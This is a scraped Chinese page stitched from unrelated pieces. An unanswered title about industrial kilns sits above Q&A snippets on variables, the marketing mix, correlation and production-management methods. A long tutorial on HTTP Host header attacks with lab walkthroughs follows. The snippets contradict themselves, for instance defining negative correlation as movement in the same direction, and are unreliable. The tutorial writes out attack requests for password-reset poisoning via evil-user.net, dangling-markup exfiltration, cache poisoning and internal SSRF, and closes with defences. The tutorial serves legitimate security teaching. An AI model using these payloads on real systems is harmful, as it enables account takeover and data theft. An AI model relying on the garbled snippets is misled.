什么是工业炉窖

自变量：可以改变的量（上司的心情） 因变量：随着自变量改变而改变的量（员工的心情） 可控变量：可以通过某些条件控制的变量（控制饭量改变体重）

分类: 教育/学业/考试 >> 学习帮助 问题描述: 用简单语言说明下 谢谢 解析: 可控变量就是可以通过某些条件控制的变量；自变量是在它满足的 *** 或者域里可以取任意值；因变量是它的取值会受其他变量影响的变量

市场营销组合要素，是企业根据战略定位制定的营销规划方法。是可以更改、调整的，故可控。1、市场营销组合是一个变量组合构成营销组合的"4Ps"的各个自变量，是最终影响和决定市场营销效益的决定性要素，而营销组合的最终结果就是这些变量的函数，即因变量。从这个关系看，市场营销组合是一个动态组合。只要改变其中的一个要素，就会出现一个新的组合，产生不同的营销效果。 2、营销组合的层次市场营销组合由许多层次组成，就整体而言，"4Ps"是一个大组合，其中每一个P又包括若干层次的要素。这样，企业在确定营销组合时，不仅更为具体和实用，而且相当灵活；不但可以选择四个要素之间的最佳组合，而且可以恰当安排每个要素内部的组合。3、市场营销组合的整体协同作用企业必须在准确地分析、判断特定的市场营销环境、企业资源及目标市场需求特点的基础上，才能制定出最佳的营销组合。所以，最佳的市场营销组合的作用，决不是产品、价格、渠道、促销四个营销要素的简单数字相加，即4Ps ≠ P + P + P + P，而是使他们产生一种整体协同作用。就像中医开出的重要处方，四种草药各有不同的效力，治疗效果不同，所治疗的病症也相异，而且这四种中药配合在一起的治疗，其作用大于原来每一种药物的作用之和。市场营销组合也是如此，只有他们的最佳组合，才能产生一种整体协同作用。正是从这个意义上讲，市场营销组合又是一种经营的艺术和技巧。4、市场营销组合必须具有充分的应变能力市场营销组合作为企业营销管理的可控要素，一般来说，企业具有充分的决策权。例如，企业可以根据市场需求来选择确定产品结构，制定具有竞争力的价格，选择最恰当的销售渠道和促销媒体。但是，企业并不是在真空中制定的市场营销组合。随着市场竞争和顾客需求特点及外界环境的变化，必须对营销组合随时纠正、调整，使其保持竞争力。总之市场营销组合对外界环境必须具有充分的适应力和灵敏的应变能力。

因为市场营销组合中的四因素是单方产生的，可以完全被控制，而竞争是多方产生的，无法完全被控制。市场营销组合中的四因素是企业单方产生的，可以完全由企业掌控，但是竞争是多家企业之间竞争，每家企业只能控制自己而不能控制其他企业，因此说艺术市场营销组合四因素为可控变量，而竞争是半可控变量。市场营销四因素为产品、价格、销售渠道和促销。

【答案】：A、C、D、E所谓市场营销组合是指企业用于追求目标市场预期销售量水平的可控营销变量的组合。营销组合中所包含的可控变量很多，可以概括为四个基本变量，即产品、价格、地点和促销。

变量x与y之间的负相x关是指y值随x值的增大（减小）而减小（增大）。负相关的意义：函数是研究两个变量之间的依存关系的一种数量形式。对于两个变量，如果当一个变量的取值一定时，另一个变量的取值被惟一确定，则这两个变量之间的关系就是一个函数关系。对于一个变量，可以控制其数量大小的变量称为可控变量，否则称为随机变量。自变量取值一定时，因变量的取值带有一定随机性的两个变量之间的关系，叫做相关关系。相关关系中的两个变量有两种类型，一类是一个为可控变量，另一个为随机变量，另一类为两个都是随机变量。是指两个变量变动方向相同，一个变量由大到小或由小到大变化时，另一个变量亦由大到小或由小到大变化。即其数据曲线的切线斜率始终大于零。如身高与体重，身高越长，体重就越重。也就是说，在正相关的情况下，一个变量随着另一个变量的变化而发生相同方向的变化（两个变量同时变大或变小）。其中，引起变化的量叫做自变量（即自己发生变化的量），另一个变量叫做因变量（即跟着自变量变化的量）。负相关（Negative correlation），是指两个变量变动方向相同，一个变量由大到小或由小到大变化时，另一个变量反而有小到大或由大到小变化。即其数据曲线的切线斜率始终小于零。也就是说，在负相关的情况下，一个变量随着另一个变量的变化而发生相反方向的变化。

不对，是随另一个量变化而变化的。负相关（Negative correlation），是指两个变量变动方向相同，一个变量由大到小或由小到大变化时，另一个变量反而有小到大或由大到小变化。在回归与相关分析中，因变量值随自变量值的增大（减小）而减小（增大），在这种情况下，因变量和自变量的相关系数为负值，即负相关。对于两个变量之间的关系，有函数关系和相关关系两种，其中函数关系是一种确定性关系，相关关系是一种非确定性关系。函数是研究两个变量之间的依存关系的一种数量形式。对于两个变量，如果当一个变量的取值一定时，另一个变量的取值被唯一确定，则这两个变量之间的关系就是一个函数关系。对于一个变量，可以控制其数量大小的变量称为可控变量，否则称为随机变量。自变量取值一定时，因变量的取值带有一定随机性的两个变量之间的关系，叫作相关关系。相关关系中的两个变量有两种类型，一类是一个为可控变量，另一个为随机变量，另一类为两个都是随机变量。

反比关系？我是学理得…懵的啊～不知道对不对

生产管理的分析方法：伯法认为，管理科学中用到的关于生产和业务管理中的各种分析方法，不外是在遵循科学方法的基础上利用各种模型，并且以这些模型来表示所研究的系统整体或某些分支部分。在分析各个领域中的问题时，首先需确定研究的系统边界，这样才能划定研究的范围。确定范围的指导原则是准确判断哪些因素或变量可能对所研究的系统产生影响。一般来说，问题的界限或范围越宽，出现次优化的可能性就越少。其次是构造模型。构造模型时，应该与实际的生产情况相适应，抽掉一些次要的因素，具体分析对生产过程有影响的因素，同时需要考虑到可控因素与不可控因素的关系，进而确定使用哪一种模型。模型的选择主要是根据因素间的关系和作用来决定。分析方法中必须确定衡量效率的尺度，建立起一套行之有效的标准，来衡量生产行动中各种可供选择方案的效果。这些方面的衡量尺度可以包含利润、贡献、总成本、增量成本、机器停工时间、机器利用率、劳动成本、劳动力利用率、产品单位数量和流程时间等等。所有运用数量方法研究生产问题的模型，都可以概括为一个公式：E=f(xi，yj)。其中E为效率，f代表函数关系，x代表可控变量，y代表非可控变量。可控变量是指那些可以在很大程度上按照管理者的意愿操纵调节的因素。非可控变量是指那些管理者不能控制，至少是不在所限定的问题范围内的因素。这个公式的含义为：E(效率)可以表示为那些限定该系统的变量的函数。模型建立起来后，就可以用E作为衡量生产行动中各种可供选择方案效率的尺度，并在分析的基础上产生出可供选择的各种方案，并对这些可供选择的方案做出评价。伯法列出的分析方法主要有：成本分析、线性规划、排队模型、模拟技术、统计分析、网络计划模型、启发式模型、计算机探索求解方法、图解和图像分析等。这些方法在生产系统的各个方面都有着相应的用途。1、成本分析成本分析是最常用的分析方法。这种方法以关于不同成本因素的特性知识为依据，具有多种形式。它并不是一大堆会计数字的简单堆积，而是经营状况的数据表现。从相关的数字中，管理者能够获取有效的信息。管理者并不关心抽象的成本，他们感兴趣的是自己考虑的各种可供选择的方案中涉及到的具体成本变化。成本分析的基本方法是损益平衡分析法，即利用经营规模变化时不同成本在变化上的差别来进行分析。增量成本分析法是最有价值的简单分析方法之一。它仅仅用来研究那些受到可能会采用的方针或行动影响的成本。伯法指出，对成本进行分析，并不是要计算出每一个可供选择方案的运行总成本，而是只研究不同方案相比较时有差别的具体成本。这些成本主要指的是存货成本、调整劳动力成本、加班加点费和外包成本。增量成本分析在生产系统分析的各个领域内被广泛应用，通常在线性规划和排队分析模型中很常见。2、线性规划线性规划的实质是最优化，即在满足即定的约束条件情况下，按照某一衡量指标，来寻求最优方案的数学方法。线性规划是非常重要的通用模型，主要用来解决如何将有限的资源进行合理配置，进而在限定条件内获得最大效益的问题。线性规划被广泛应用于工业、农业、管理和军事科学等各个领域，是现代管理与决策者最常用的一个有效工具。在生产中决定多个品种的最优构成问题、库存控制问题、原料供应问题等等，都可以采用线性规划。线性规划在实际运用中，往往存在着求解困难，对此，一般采用“单纯形法”来解决。3、排队模型很多生产问题都会或多或少地涉及到排队。只要在生产过程中存在随机分布现象，就肯定会产生排队。各种库存实际上就是对排队的缓冲。完全的均衡分布在现实中是不存在的。在这一类问题中，会在随机不定的时间间隔内遇到需要某种服务的人、部件或机器。为满足这种服务所需要的活动，往往会花长短不一的时间。在一定的到达率和服务率的条件下，可以运用数学方法计算并安排排队问题。在当代，排队分析被广泛应用在诸如通讯系统、交通系统、生产系统以及计算机管理系统等服务系统上。排队论提供了一种数学手段，能够预测某个特定排队的大概长度和大概延误时间，以及其他相关重要数据，包括排队场地安排、优先服务处理、排队成本控制、排队长短与发生事故的关系等等。掌握这些信息，会使人们更有针对性地解决相关的随机分布问题，做出明智的决策。4、模拟技术生产管理问题的模拟技术是一项迅速成长的技术。尽管模拟所依据的基本观念很早就有，但模拟技术的迅速成长实际上是由高速的计算机发展带动前进的。这种方法是运用数理模型来进行模拟试验，用计算机处理相关数据，以选定的效率标准E作为衡量尺度，观察和检测各项变量在模型中的运行结果。这种模型是试验性的，不一定能产生出最优答案。模拟方法的长处是可以在各种可供选择的方案之间进行比较，实际上是一种系统地通过反复试验以求解决复杂问题的方法。5、统计分析统计分析为精确处理数据提供了一套方法结构。它不仅能够根据所建立的预测模型得出各种结论，而且能够估计到预测可能发生错误的风险有多大。统计分析经常应用于假设检验，能够使我们处理某一系统中的因素或变量在测定数值上的巨大变动问题，而这些因素或变量有可能规定着相关系统的范围。运用统计推断的方法，可以对相关系统的问题做出结论，而且可能是很精确的结论。在生产和业务管理中，统计分析方法本身有着广大的独立应用领域。统计原理作为分析方法的一种通用工具，常常能对其他分析方法的应用提供帮助，并在总体分析工作中做出贡献。6、网络计划模型第二次世界大战后，研究与发展工作和其他的大型一次性工程项目在经济活动中越来越重要，尤其是导弹工程和太空计划的庞大规模和复杂性，要求用特殊方法来提供工程规划，安排进度并进行控制，这些促成了网络计划的诞生。网络计划的基本原理是，把需要完成的工作以网络的形式做出计划，工作中涉及到的所有事件都列入网络，这些事件的分布安排应按照施工操作的时序和阶段间的相互依赖关系进行。根据网络计划模型，可以计算出作业进度的具体数字，从而使管理者对作业的计划进度了如指掌，能更灵活合理地支配时间。网络计划技术采用的形式是独特的，尤其是“关键线路”的观念，负荷平衡、最低费用法和有限资源的安排。这些互相联系的概念，能够给工程项目的管理提供合理的依据。网络计划模型有两大具体方法，一是关键线路法，一是计划评审法。关键线路法(CPM，CriticalPathMethod)本来是20世纪50年代杜邦公司的一种内部计划方法，曾用于化工厂维修工程的计划和管理，进而被广泛应用到很多工程之中。几乎在同一时期，美国海军也致力于发展一种规划和管理北极星导弹研制生产的方法，这一项目要对近三千个订立合同的单位实现计划和管理，工作量之大可想而知。其结果就是使计划评审法(PERT，ProgramEvaluationandReviewTechnique)应运而生。杜邦公司运用CPM，使路易维尔工厂的维修工程项目的所需时间从125小时下降为78小时;美国海军运用PERT，使完成北极星导弹的研制开发比预定时间缩短了两年。尽管这两种方法在细节上有所差别，但二者所依据的原理异曲同工。二者的差别，恰恰能说明管理的现实需要对技术方法的影响。关键线路法是从具有大量实际经验的维修工程作业中发展起来的，因而其各项工作的活动时间是已知的，线路上的时间是确定的;计划评审法则是从探索研究和发展的环境中产生的，因而其各种工作的活动时间具有很高的不确定性，所以它用概率方法来形成线路上的预期时间。在如何制定箭头图的细节方面，二者存在一定的差异。关键线路法所形成的网络系统略微简单些，它用节点表示事件活动，用箭头表示项目中各项事件的顺序。计划评审法则需要用变量来安排时间。网络计划模型以紧凑的形式概括了很多重要信息。从网络计划中，能够很容易地计算出诸如最早和最晚的完成时间、活动进度安排中可利用的时差、关键线路等等。给定了活动网络、关键线路和计算进度表的统计资料，就能给管理者提供安排工程的具体计划。由于存在事件活动本身的时差，以及项目完成日期上的时差，就能够提供计划进度安排上的灵活性，得出不同的进度安排方案。然后，可以从资源负荷平衡的角度来比较运用情况，还可以通过活动费用的高低来评价方案是否有价值。不同的活动，对资源运用情况变化的响应是不同的，有些活动可能对资源的变化没有任何反应，甚至放慢进度有可能会比正常进度耗费更多。由于不同活动具有不同的“费用-时间”特性，因而就有可能对费用进行权衡。如果遇到有限的关键资源供给问题，由于资源的稀缺性，就需要从恰当安排有限资源的角度来审查计划方案，并利用存在的时差降低资源消耗，甚至可以在时间和资源利用之间进行权衡，采用延长工期的方法。7、启发式模型所谓启发式，本身就意味着能够引导管理者去寻求答案。就管理上的意义而言，启发式模型是指用于决策的指导原则。或许，这些指导原则算不上是最优的，但是在被人们应用时是始终如一的，而且是有效的，能够避免更加复杂的问题求解程序。在这里，伯法明显借鉴了西蒙的满意型决策思路，他强调，有很多问题，我们或没有时间或没有兴趣去探究更彻底的答案，但是，现有的原则足以使我们找到可行方案。或许它不一定是绝对正确的，但这种简单的法则是最适用的。管理者碰到的问题，大多数都很复杂，如果要进行严密精确的分析会步履艰难，很难用数学的方法来求解，但又不得不寻求答案，这时，凭借经验法则形成的逻辑依据就不失为可用的最佳方法。所谓启发式模型，就是这样一套符合逻辑的和具有连贯性的法则。从某种意义上来说，启发式方法是管理工作中历史最悠久的思考方法。通过这种方法，以有可能放弃最好的解决方案为代价，减少了探索的工作量。在业务管理中，这种方法大量用于装配线的平衡、设备布置、车间作业进度计划、仓库位置选择、存货控制以及一次性工程项目的进度安排等领域。8、计算机探索求解方法对于某些非常复杂的问题，利用计算机探索求解不失为一剂良药。计算机技术的发展促进了启发式模型的应用，运用计算机可以对某些准则函数的一组有限的可行试解方案按顺序进行审查。通过规定每一个独立变量的数值，计算准则函数并记录下有关的结果，就可以得出一个试验评定值。把每一个试验评定值与以往得到的最佳值进行比较，若发现它有着明显的优越性，就采用它而摒弃先前的最佳值，以此类推，直至无法寻求优化解为止。这就是登山式的逐步探索法。在这一基础上，计算机就能按照预定的工作程序，把已发现的各项独立变量的最佳组合方案打印出来。采用计算机直接探索方法的优点在于建立了准则函数模型，它没有线性数学形式的局限，突破了变量的数目限制。在业务管理上，计算机探索求解方法已被用于制定总体计划和作业进度计划问题，还被用于解决资源有限的工作安排问题。计算机探索求解方法在企业管理中具有更大的灵活性，它不需要精密的模型设计和严格的数学形式，所以比较自由，能够在成本模型中更贴近现实。因此，伯法认为计算机探索求解方法在现实管理中具有越来越大的用途。9、图解和图像分析图解和图像分析法是在生产系统中所用的传统分析方法，这种分析手段中最重要的形式就是表示活动顺序或时间安排的流程图。

田口

是负数很正常的，表示负相关

线性回归不要求因变量是连续性数值变量，是对的。 线性相关分析的数据要求：可以是连续性数据,也可以是分类数据，线性回归分析的数据要求: 自变量可以是分类变量和连续性变量. 因变量必须是连续性变量。变量可分为可控制变量（当然常数变量也算）与随机变量， 在没有研究统计概率之前，从小学到大学 我们所研究的都是可控变量，也就是函数的自变量。基本含义在统计学中，线性回归（Linear Regression）是利用称为线性回归方程的最小平方函数对一个或多个自变量和因变量之间关系进行建模的一种回归分析。这种函数是一个或多个称为回归系数的模型参数的线性组合。只有一个自变量的情况称为简单回归，大于一个自变量情况的叫做多元回归。（这反过来又应当由多个相关的因变量预测的多元线性回归区别，而不是一个单一的标量变量）。

1. HTTP Host头攻击从HTTP / 1.1开始，HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如，当用户访问https://example.net/web-security时，其浏览器将组成一个包含Host标头的请求，如下所示：GET /web-security HTTP/1.1Host: example.netHTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确，则在将传入请求的应用程序时可能会导致问题。从历史上看，这种漏洞并不存在太大问题，因为每个IP地址只会被用于单个域的内容。如今，很大程度上是由于同一个IP上存在多个Web应用程序（不同端口，不同域名解析等），通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。当可以通过同一IP地址访问多个应用程序时，最常见的原因是以下情况之一：虚拟主机单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站，但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。通过代理路由流量网站托管在不同的后端服务器上，但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络（CDN）访问网站的情况下，这种设置尤其普遍。在上面两种种情况下，即使网站托管在单独的后端服务器上，它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题，因为反向代理或负载平衡需要知道每个请求到的哪个后端上。HTTP Host头的作用就在于，指定请求应该发送到那个应用程序的后端服务器上。打个比方，一封信需要送到居住在公寓楼中的某人手中，整个公寓有许多房间，每个房间都可以接受信件，通过指定房间号和收件人（也就是HTTP Host头）来将信封送到指定的人手中。3. 什么是HTTP Host头攻击一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头，未校验它的合法性，则攻击者可能能够使用此可控变量来注入Host，以操纵服务器端的行为。现成的Web应用程序通常不知道将它们部署在哪个域上，除非在安装过程中在配置文件中手动指定了该域。例如，当他们需要知道当前域以生成电子邮件中包含的绝对URL时，他们可能依赖于Host头中的值：<a href="https://_SERVER["HOST"]/support">联系支持</a>Host头值还可以用于不同网站系统之间的各种交互。由于Host头实际上是用户可控制的，因此这种做法可能导致许多问题。如果未校验或者直接使用Host头，则Host头可以与一系列其他漏洞“组合拳”攻击，比如：缓存投毒特殊业务功能的逻辑漏洞基于路由的SSRF经典服务端漏洞，如SQL注入（当Host被用于SQL语句时）等4. 如何发掘HTTP Host头攻击首先要判断服务端是否检测Host头？检测完了是否还使用Host头的值？通过修改Host的值，如果服务端返回错误信息：30b04453d11b44a56c903cc387f17296.png则说明服务端检测了Host的内容。至于有没有使用Host头的值，有以下几种方法去发掘：修改Host值简单的来说，可以修改HTTP头中的Host值，如果观察到响应包中含有修改后的值，说明存在漏洞。但有时候篡改Host头的值会导致无法访问Web应用程序，从而导致“无效主机头”的错误信息，特别是通过CDN访问目标时会发生这种情况。添加重复的Host头添加重复的Host头，通常两个Host头之中有一个是有效的，可以理解为一个是确保请求正确地发送到目标服务器上；另一个则是传递payload到后端服务器中。GET /example HTTP/1.1Host: vulnerable-website.comHost: attackd-stuff使用绝对路径的URL尽管许多请求通常在请求域上使用相对路径，但是也同时配置了绝对URL的请求。GET https://vulnerable-website.com/ HTTP/1.1Host: attack-stuff有时候也可以尝试不同的协议，如HTTP或HTTPS。添加缩进或换行当一些站点block带有多个Host头的请求时，可以通过添加缩进字符的HTTP头来绕过：GET /example HTTP/1.1 Host: attack-stuffHost: vulnerable-website.com注入覆盖Host头的字段与Host头功能相近的字段，如X-Forwarded-Host、X-Forwarded-For等，这些有时候是默认开启的。GET /example HTTP/1.1Host: vulnerable-website.comX-Forwarded-Host: attack-stuff诸如此类，还有其他的字段：X-HostX-Forwarded-ServerX-HTTP-Host-OverrideForwarded忽略端口仅校验域名当修改、添加重复Host头被拦截的时候，可以尝试了解Web应用程序是怎样解析Host头的。比如，一些解析算法会忽略Host头中的端口值，仅仅校验域名。这时候可以将Host修改为如下形式：GET /example HTTP/1.1Host: vulnerable-website.com:attack-stuff保持域名不变，修改端口值为非端口号的其他值（非数字）， 将Host头攻击的payload放在端口值处，同样能进行Host头攻击。5. HTTP Host头攻击漏洞示例5.1 密码重置中毒根据HTTP Host头攻击的攻击特点，它被广泛应用于密码重置中毒：攻击者可以操纵网站在重置密码情况下生成的密码重置链接，使其发送攻击者指定的域下，利用此来窃取重置任意用户密码的令牌。1c2aa7d6f7e77ca7c2bd09feee527087.png一个重设密码（忘记密码）功能的大致流程如下：用户输入其用户名或电子邮件地址，然后提交密码重置请求。该网站检查该用户是否存在，然后生成一个临时的、唯一的、复杂的令牌，该令牌与后端的用户帐户相关联。该网站向用户发送一封电子邮件，其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中：https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j4. 当用户访问此URL时，网站将检查提供的令牌是否有效，并使用它来确定要重置哪个帐户。如果一切都符合，则可以进入用户重置密码步骤。最后，令牌被销毁。以上步骤的安全性依赖于：只有目标用户才能访问其电子邮件，从而可以访问其唯一的令牌。密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。如果网站重置密码的流程完全依赖用户的可控输入（如HTTP Host头），这可能导致密码重置中毒：1. 攻击者获取受害者的用户名或者电子邮件，作为提交重置密码的请求，攻击者会拦截请求并修改HTTP Host头为其指定的域，如evil-user.net2. 受害者会收到一封重置密码的邮件，但由于攻击者修改了Host头，而web程序生成重置链接又完全依赖于Host头，导致生成以下URL：https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j3. 如果受害者点击了该链接，重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上4. 当攻击者获取到虫子密码的令牌之后，就会进行相应的构造访问真实重置密码的URL进行密码重置。5.1.1 密码重置中毒—基础详细了解了上面的密码重置中毒的流程和原理之后，这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。首先输入用户名或者用户的电子邮箱来重置指定用户的密码：534a1d062ccc3813b6596fdec0bb475b.png提交之后，会发送一封重置密码的电子邮件到wiener用户的邮箱中（数据包如右图）：7c47a2e653a4fcbbaeae1687f914d093.png注意重置密码的链接，可能是受Host头的值的影响？我们来验证一下是否存在HTTP Host头攻击，修改Host头的值为 baidu.com：8901c053cc8c3e6f0383f5f61b14d549.png发现请求是可以被后端服务器接收的，所以是存在HTTP Host头攻击的。这里就输入受害用户carlos进行重置密码，然后抓包将Host头的值改为我们自己的服务器：ec1f439fbc6013f1b4f71011a2885947.png然后在我们自己的服务器上就可以通过访问日志看到被窃取的重置密码Token：c3b81283ee2a440dcf205a1ab344ab32.png然后根据已知链接规律，构造重置密码的链接：https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi71a4ba4a58416c68b3f513ba1239f76d9.png随即进入输入新密码的界面，密码重置中毒成功。5.1.2 密码重置中毒—注入覆盖Host头的字段有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行：3ca0c53bfef0d9b47a9f788eb484f40f.png可以尝试使用与Host头功能相同的HTTP字段，如X-Forwarded-Host、X-Forwarded-For等，可以进行Fuzz：cbb645bac4d5b28e8b91c39b174a0767.png实际上他能够被 X-Forwarded-Host 字段影响，导致Host头攻击，当同时添加多个字段使请求被拦截时，可以尝试类似排除法、二分法来排查哪个字段有效。对受害用户carlos进行密码重置投毒：53fd95a8a051dd84951094b4e3e79502.png然后构造链接即可：https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3hefb5ab58ec4a711faa6f4dac736e069a.png5.1.3 重置密码中毒—Dangling Markup技术首先简单介绍一下 Dangling Markup技术：Dangling markup技术Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术，它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略（CSP）阻止时，它非常有用。其思想是插入一些未完成状态的部分HTML，例如图像标记的src属性，页面上的其余标记关闭该属性，但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。例如，我们在反射型XSS注入点上注入这样一个img标签：<img src="https://evilserver/?则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。关于 Dangling Markup技术 的实战意义可以参考博主之前的文章：绕过CSP之Dangling markup技术什么时候可以使用 Dangling Markup技术 呢？与我们这篇文章的主题有什么关系呢？我们直接进入主题，当输入需要重置密码的用户名后，该用户的邮箱内会收到如下邮箱：67a4c2bc755ebbb44847d23189d30422.png有一个跳转到登录界面的链接，后面紧接着重置之后的随机密码。此时考虑一下，该链接是否是从Host头取值而来？只要这个值可控，那么就可以利用Host头攻击实施 Dangling Markup攻击，包含住链接后面紧跟着的密码，再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。第一步，寻找Host头攻击点：通过Fuzz，可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候，仅校验了域名，忽略了后面的端口号，造成端口值可控（可以是数字或字符）：904608f5a5bb3404d1ef62f6c92481b9.png a59bf77cc52ad88158c7fdc06202e54b.png通过在Host头的端口中注入payload，依旧可以实现Host头攻击。第二步，借助可控变量 Host：ip:port 来实施 Dangling Markup技术，从而将后面的密码外带到攻击者服务器上：注意，需要闭合此处的双引号出去，经过尝试，输入单引号时，服务端会自动转为双引号，故这里通过单引号将双引号闭合，然后添加自定的<a href=xxx.attack-domain>标签将密码外带：184e31cb9b0426e30db33340e2e16c91.png原本的正常HTML是这样的：ed4e92688d41cd5e90434d73f12aa811.png通过Dangling Markup技术 在a标签的链接中注入? 符，使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上：b90e561f45ba0a4e1df4f0363069921e.png这也是 Dangling Markup技术 的精髓所在，该技术的核心点在于：可控变量后面是否接着需要窃取的关键数据（包括Token、密码等）在攻击者服务器上可以看到被Host头攻击转发上来的请求，里面成功窃取了受害者重置后的密码：d1f9d32d9c0a753a3088e81d382ce9e6.png5.2 Host头攻击+缓存投毒当存在Host头攻击的web站点不存在密码重置的功能的时候，此时该漏洞就显得没有影响，因为不可能驱使用户去抓包修改Host头，辅助攻击者完成一系列的攻击。但是，如果目标站点使用Web缓存，则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击：1. 需要寻找映射到其他用户请求的缓存键；2. 下一步则是缓存此恶意响应；3. 然后，此恶意缓存将提供给尝试访问受影响页面的所有用户。第一步，寻找Host头攻击点：通过对站点的主页添加重复的Host值，可以达到覆盖的效果，并验证存在Host头攻击：b09b4eeacd00d364633ccda68d1de500.png第二步，寻找是否使用了Web缓存？缓存键是什么？从上图中也可以发现，站点使用了Wen缓存功能，并且配合Host头攻击，可以缓存/resources/js/tracking.js资源文件。第三步，在攻击者服务器上创建一个同名的 /resources/js/tracking.js资源文件，内容为：alert(document.cookie);然后通过Host头注入攻击者服务器域名，可以看到在响应中正确地对应了我们的 /resources/js/tracking.js资源文件：8458208389ca34f2736aea5e82afc11e.png发送多次请求，使该请求的响应变为缓存：200f4558b179f6aa8cd8bda18f763b66.png当其他用户请求站点主页时，服务端就会提供该恶意缓存给用户，造成缓存投毒。5.3 Host头攻击绕过访问控制出于安全考虑，通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。对于一个站点，从发现Host头攻击到利用，下面来展示一个完整的流程：第一步，访问主页，随意修改Host的值：9649967593356ece9722484a91980ff3.png注意，这里的Host的值不会出现响应包中，但是依然可能存在Host头攻击，因为响应依然成功，说明服务端没有对Host头做验证。第二步，寻找敏感页面，通过 /robots.txt 知道 /admin 为做了访问控制的页面：d3fd91199b6c914ec44a0b7659f56e1d.png可以错误信息提示，/admin 页面只允许本地用户访问。第三步，将Host改为服务端内部地址，从而绕过IP访问控制：c66736849f5149d01997ea9edbf9f1ce.png5.4 Host头攻击+SSRFHost头攻击可能会导致基于路由的SSRF攻击，称为：Host SSRF Attack。经典的SSRF攻击通常基于XXE或可利用的业务逻辑，将用户可控的URL作为HTTP请求发送；而基于路由的SSRF依赖于云部署的体系结构中，包括负载均衡和反向代理，这些中间件将请求分配发送到对应的后端服务器处理，如果服务端未校验Host头转发的请求，则攻击者可能会将请求发送（重定向）到体系中的任意系统。这可能需要知道内部系统的IP地址（私有地址），一般可以通过信息收集或者Fuzz来判断有效的私有IP地址（如枚举192.168.1.1/16）。5.4.1 基础Host头攻击+SSRF比如，普通方式访问不到 /admin 页面（404）：774952d6bc5c1f9c84078f832d213f06.png猜测 /admin 存在于内网中，需要内网机器才能访问，但是配合Host头攻击+SSRF可以绕过并访问。第一步，判断Host是否被使用，可用DNSLog外带这里我使用Burp自带的 “Burp Collaborator client” 来实现外带：fe89ddd297619cc7283a92ba551a877e.png说明服务端是根据Host头的域名来请求资源的。第二步，基于Host头的SSRF探测内网主机假如一些敏感的页面（比如管理页面），深处于内网，外网无法访问，但是通过Host头攻击+SSRF可达到绕过访问控制，从而访问内网资产，这里Fuzz内网的IP的C段为192.168.0.0/24，直接利用Intruder枚举：a450a6e1f580ed2201f1e7a20d8c7395.png 8f19202c9c4fc0a81696f084f2066d1d.png得到内网IP为192.168.0.240第三步，访问内网资源构造 /admin 页面，在Host处换位内网IP：4522a7e735f469b8221d677c8b6a1966.png5.4.2 Host头攻击+SSRF—使用绝对路径的URL有时候服务端会校验Host头的值，如果Host被修改，服务端会拒绝一切修改过后的请求：591a625e712178e117db63b2d5e217fc.png普通请求通常在请求域上使用相对路径，但是，服务端也同时可能配置了绝对URL的请求，采用如下形式可绕过对Host的验证：GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.14030f968be73cbd6bf90f8e61dde4d2a.png接着用 “Burp Collaborator client” 进行外带：6b68718a8514a4b9803f40b8d227d959.png外带成功，说明Host头被服务端使用来向指定域名请求资源，直接SSRF爆破内网：675515a890884884ce25786619575ca2.png访问内网页面：4e7c3841b5c7ee2aaa0e6f3bf75e4bad.png6 HTTP Host头攻击防护最简单的方法是避免在服务器端代码中完全使用Host头，可以只使用相对URL。其他方法包括：6.1 正确配置绝对域名URL当必须使用绝对域名URL时，应在配置文件中手动指定当前域的URL，并引用配置的值，而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。6.2 白名单校验Host头的域如果必须使用Host头，需要正确校验它的合法性。这包括允许的域，并使用白名单校验它，以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。6.3 不支持主机头覆盖确保不适用与Host头功能相近的字段，如X-Forwarded-Host、X-Forwarded-For等，这些有时候是默认开启的。值得一提的是，不应该将内网使用的Host主机（不出网）与公网的应用程序托管在同一个服务器上，否则攻击者可能会操纵Host头来访问内部域。

